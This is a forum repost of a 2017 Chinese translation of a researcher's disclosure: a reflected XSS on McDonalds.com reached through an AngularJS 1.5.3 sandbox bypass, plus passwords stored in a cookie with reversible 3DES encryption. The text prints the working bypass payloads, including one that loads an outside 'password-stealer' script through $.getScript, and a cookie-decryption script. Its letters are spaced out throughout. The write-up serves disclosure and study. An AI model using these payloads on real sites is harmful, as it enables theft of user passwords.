搜索

[10943] 2017-01-18_看我如何利用漏洞窃取麦当劳网站注册用户密码

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2017-01-18_看我如何利用漏洞窃取麦当劳网站注册用户密码 看 我 如 何 利 用 漏 洞 窃 取 麦 当 劳 网 站 注 册 用 户 密 码 c l o u d s   F r e e B u f   2 0 1 7 - 0 1 - 1 8 本 本 文 讲 述 了 利 用 不 安 全 的 加 密 存 储 （ 文 讲 述 了 利 用 不 安 全 的 加 密 存 储 （ I n s e c u r e _ C r y p t o g r a p h i c _ S t o r a g e ） 漏 洞 和 服 务 端 反 射 型 ） 漏 洞 和 服 务 端 反 射 型 X S S 漏 洞 ， 实 现 对 麦 当 劳 网 站 （ 漏 洞 ， 实 现 对 麦 当 劳 网 站 （ M c D o n a l d s . c o m ） ） 注 册 用 户 的 密 码 窃 取 ， 进 一 步 测 试 ， 还 可 能 获 取 到 网 站 注 册 用 户 的 更 多 信 息 。 注 册 用 户 的 密 码 窃 取 ， 进 一 步 测 试 ， 还 可 能 获 取 到 网 站 注 册 用 户 的 更 多 信 息 。 P O C - 利 用 反 射 型 利 用 反 射 型 X S S 漏 洞 绕 过 漏 洞 绕 过 A n g u l a r J S 框 架 沙 箱 框 架 沙 箱 麦 当 劳 网 站 M c D o n a l d s . c o m 设 置 有 一 个 搜 索 页 面 ， 该 页 面 存 在 X S S 反 射 型 漏 洞 ， 可 以 返 回 搜 索 参 数 值 ， 假 设 搜 索 参 数 q 为 * * * * * * * * * * * - t e s t - r e f l e c t e d - t e s t - * * * * * * * * * * * ， 对 应 链 接 ： h t t p s : / / w w w . m c d o n a l d s . c o m / u s / e n - u s / s e a r c h - r e s u l t s . h t m l ? q = * * * * * * * * * * * - t e s t - r e f l e c t e d - t e s t - * * * * * * * * * * * 则 执 行 效 果 如 下 ：
麦 当 劳 网 站 采 用 A n g u l a r J S 框 架 ， 所 以 可 以 使 用 特 殊 字 符 在 搜 索 区 域 进 行 返 回 值 尝 试 。 通 过 更 改 搜 索 参 数 q 为 { { $ i d } } 之 后 ， 发 现 返 回 值 对 应 A n g u l a r J S 范 围 内 的 对 应 I D 数 字 9 ： L i n k   u s e d :   h t t p s : / / w w w . m c d o n a l d s . c o m / u s / e n - u s / s e a r c h - r e s u l t s . h t m l ? q = { { $ i d } } A n g u l a r J S 是 一 个 流 行 的 J a v a S c r i p t 框 架 ， 通 过 这 个 框 架 可 以 把 表 达 式 放 在 花 括 号 中 嵌 入 到 页 面 中 。 例 如 ， 表 达 式 1 + 2 = { { 1 + 2 } } 将 会 得 到 1 + 2 = 3 。 其 中 括 号 中 的 表 达 式 被 执 行 了 ， 这 就 意 味 着 ， 如 果 服 务 端 允 许 用 户 输 入 的 参 数 中 带 有 花 括 号 ， 我 们 就 可 以 用 A n g u l a r 表 达 式 来 进 行 x s s 攻 击 。 由 于 A n g u l a r J S 工 作 在 沙 箱 模 式 ， 所 以 使 用 参 数 { { a l e r t ( 1 ) } } 无 任 何 返 回 信 息 ， 但 这 并 不 代 表 A n g u l a r J S 沙 箱 没 有 漏 洞 。 在   A n g u l a r J S 1 . 6 版 本 中 ， 由 于 沙 箱 机 制 不 能 很 好 地 起 到 安 全 防 护 目 的 ， 已 经 被 从 源 码 中 移 除 。 而 P o r t S w i g g e r 还 对 A n g u l a r J S 的 各 版 本 沙 箱 进 行 了 绕 过 测 试 ， 并 给 出 了 相 应 绕 过 执 行 命 令 。 在 这 里 ， 我 们 来 看 看 M c D o n a l d s . c o m 使 用 的 A n g u l a r J S 版 本 ， 通 过 在 浏 览 器 控 制 端 输 入 a n g u l a r . v e r s i o n 命 令 ： 可 以 发 现 A n g u l a r J S 为 1 . 5 . 3 版 本 ， 参 照 P o r t S w i g g e r 的 测 试 ， 我 们 选 用 { { x   =   { ' y ' : ' ' . c o n s t r u c t o r . p r o t o t y p e } ;   x [ ' y ' ] . c h a r A t = [ ] . j o i n ; $ e v a l ( ' x = a l e r t ( 1 ) ' ) ; } } 作 为 搜 索 参 数 ， 很 惊 喜 ， 返 回 值 如 下 ：
这 就 意 味 着 ， 我 们 可 以 利 用 绕 过 命 令 ， 对 网 站 加 载 外 部 J S 脚 本 文 件 ， 如 构 造 如 下 命 令 ： { { x   =   { ' y ' : ' ' . c o n s t r u c t o r . p r o t o t y p e } ;   x [ ' y ' ] . c h a r A t = [ ] . j o i n ; $ e v a l ( ' x = $ . g e t S c r i p t ( ` h t t p s : / / f i n n w e a . c o m / s n i p p e t s / e x t e r n a l - a l e r t . j s ` ) ' ) ; } } `   返 回 结 果 如 下 ： 在 内 容 安 全 策 略 （ C o n t e n t - S e c u r i t y - P o l i c y ） 的 提 示 下 ， 第 三 方 脚 本 文 件 被 成 功 加 载 。 窃 取 密 码 窃 取 密 码 除 此 之 外 ， 我 在 麦 当 劳 网 站 的 注 册 页 面 发 现 了 复 选 框 “ R e m e m b e r   m y   p a s s w o r d ” ， 通 常 来 说 ， 这 只 有 在 用 户 登 录 页 面 才 存 在 ， 有 点 奇 怪 ：
在 该 页 面 的 源 代 码 页 面 ， 包 含 了 各 种 p a s s o w r d 字 段 内 容 ， 甚 至 存 在 一 个 有 趣 的 密 码 解 密 函 数 ： 最 危 险 的 是 , 利 用 该 解 密 函 数 代 码 竟 然 可 以 实 现 对 客 户 端 或 双 向 加 密 存 储 的 密 码 破 解 。 尝 试 对 发 现 的 被 存 储 C o o k i e 值 p e n c 进 行 解 密 ， 竟 然 成 功 了 ！ 而 且 ， 经 分 析 发 现 ， C o o k i e 值 p e n c 的 存 储 期 限 是 大 大 的 一 年 ！ L O L !
另 外 ， 以 下 的 源 码 分 析 显 示 ， 麦 当 劳 网 站 使 用 了 J a v a s c r i p t 的 C r y p t o J S 加 密 库 进 行 信 息 加 密 ， 加 密 方 式 为 3 D E S ， 其 中 加 密 参 数 k e y 和 i v 都 为 通 用 ， 这 意 味 着 只 需 要 获 取 到 c o o k i e 值 就 能 对 密 码 解 密 ： 由 于 A n g u l a r J S 沙 箱 绕 过 方 法 只 对 c h a r A t 的 j o i n 方 法 （ c h a r A t = [ ] . j o i n ; $ e v a l ( ‘ x = a l e r t ( 1 ) ’ ) ） 有 效 ， 所 以 即 使 我 曾 尝 试 在 搜 索 区 域 构 造 其 它 恶 意 命 令 对 c o o k i e 信 息 进 行 解 密 ， 但 最 终 总 是 因 为 g e t C o o k i e 失 败 而 无 效 。 只 有 当 c h a r A t ( 0 )   不 为 空 时 ， g e t C o o k i e 才 有 返 回 值 ： 最 后 ， 我 写 了 一 段 调 用 麦 当 劳 网 站 首 页 框 架 进 行 c o o k i e 窃 取 的 脚 本 ， 为 了 避 免 脚 本 因 A n g u l a r J S 沙 箱 被 绕 过 而 被 反 复 执 行 ， 所 以 ， 我 用 w i n d o w . x s s I s E x e c u t e d 对 其 进 行 了 显 示 控 制 ， 如 下 ： i f   ( ! w i n d o w . x s s I s E x e c u t e d )   {         w i n d o w . x s s I s E x e c u t e d   =   t r u e ;         v a r   i f r a m e   =   $ ( ' < i f r a m e   s r c = " h t t p s : / / w w w . m c d o n a l d s . c o m / u s / e n - u s . h t m l " > < / i f r a m e > ' ) ;         $ ( ' b o d y ' ) . a p p e n d ( i f r a m e ) ;         i f r a m e . o n ( ' l o a d ' ,   f u n c t i o n ( )   {                 v a r   p e n c   =   i f r a m e [ 0 ] . c o n t e n t W i n d o w . g e t C o o k i e ( ' p e n c ' ) ;                 a l e r t ( i f r a m e [ 0 ] . c o n t e n t W i n d o w . d e c r y p t ( p e n c ) ) ;         } ) ; } 最 终 ， 配 合 以 下 A n g u l a r J S 沙 箱 绕 过 命 令 ， 可 以 成 功 从 c o o k i e 信 息 中 对 密 码 解 密 ！ { { x   =   { ' y ' : ' ' . c o n s t r u c t o r . p r o t o t y p e } ;   x [ ' y ' ] . c h a r A t = [ ] . j o i n ; $ e v a l ( ' x = $ . g e t S c r i p t ( ` h t t p s : / / f i n n w e a . c o m / s n i p p e t s / m c d o n a l d s - p a s s w o r d - s t e a l e r . j s ` ) ' ) ; } } 遗 憾 的 是 ， 我 曾 多 次 与 麦 当 劳 官 方 就 此 问 题 进 行 联 系 ， 但 是 他 们 竟 然 都 不 回 应 ！ @ # % ￥ & !   ， 所 以 我 选 择 把 此 漏 洞 公 开 。
* * 参 考 来 源 ： f i n n w e a . c o m ， F B 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理